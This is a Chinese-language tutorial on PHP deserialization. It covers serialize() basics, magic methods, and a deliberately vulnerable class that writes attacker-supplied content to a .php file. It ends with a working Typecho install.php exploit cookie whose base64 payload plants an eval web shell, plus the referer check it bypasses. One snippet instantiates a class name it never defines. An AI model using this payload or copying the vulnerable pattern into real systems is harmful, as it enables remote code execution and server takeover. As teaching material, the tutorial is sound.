PHP反序列化进阶学习与总结

<?php 
//定义一个类，类名是chybeta
class chybeta{
  //定义一个变量
  var $test = 123;
}
//new一个对象，实例化
$class1 = new chybeta;
//序列化创建的对象
$class1_ser = serialize($class1);
print_r($class1_ser);
 ?>

<?php
class demo
{
    public $test = 'hacker';
    private $test2 = 'pentester';
    protected $test3 = 'redhat';
}
$object = new test();
$uns = serialize($object);
echo $uns;
?>

__wakeup() //执行unserialize()时，先会调用这个函数
__sleep() //执行serialize()时，先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
__construct() //对象被创建时触发

<?php  
//定义类
class Test    
{   
  //定义两个变量
    public $variable = 'BUZZ';    
    public $variable2 = 'OTHER'; 
    //定义方法
    public function PrintVariable()    
    {    
        echo $this->variable . '<br />';    
    }    
    public function __construct()    
    {    
        echo '__construct<br />';    
    }    
    public function __destruct()    
    {    
        echo '__destruct<br />';    
    }    
    public function __wakeup()    
    {    
        echo '__wakeup<br />';    
    }    
    public function __sleep()    
    {    
        echo '__sleep<br />';    
        return array('variable', 'variable2');    
    }    
}    
// 创建对象调用__construct  
$obj = new Test();    
// 序列化对象调用__sleep    
$serialized = serialize($obj);    
// 输出序列化后的字符串    
print 'Serialized: ' . $serialized . '<br />';    
// 重建对象调用__wakeup    
$obj2 = unserialize($serialized);    
// 调用PintVariable输出数据   
$obj2->PrintVariable();    
// 脚本结束调用__destruct     
?>   

<?php
class A{
  public $a = "test";   //定义public类属性$a
  public $b="hello";    //定义public类属性$b
  function __destruct(){        //当对象被销毁时触发以下函数
    $fp = @fopen("C:/phpStudy/PHPTutorial/WWW/".$this->b.".php","w");   //打开文件并赋予写权限，若无文件，则新建。C:/phpStudy/PHPTutorial/WWW/为文件保存位置
    echo "C:/phpStudy/PHPTutorial/WWW/".$this->b.".php";  
    @fputs($fp,$this->a);          //写入变量$a的值
    @fclose($fp);                 //关闭打开的文件
  }
  function __wakeup()              //执行unserialize()时，先会调用这个函数,导致
      {
          foreach(get_object_vars($this) as $k => $v) {
    $this->$k = null;   //通过遍历将输入的值赋值为空
          }
          echo "Waking up...\n"."<br/>";
      }
}
$test = @$_POST['po'];        //接收参数
$test_unser = @unserialize($test);  //将输入的字符变为反序列化为对象。
?>

Cookie:__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
Referer:http://127.0.0.1/typecho/install.php 

//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }
    $parts = parse_url($_SERVER['HTTP_REFERER']);
 if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }
    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}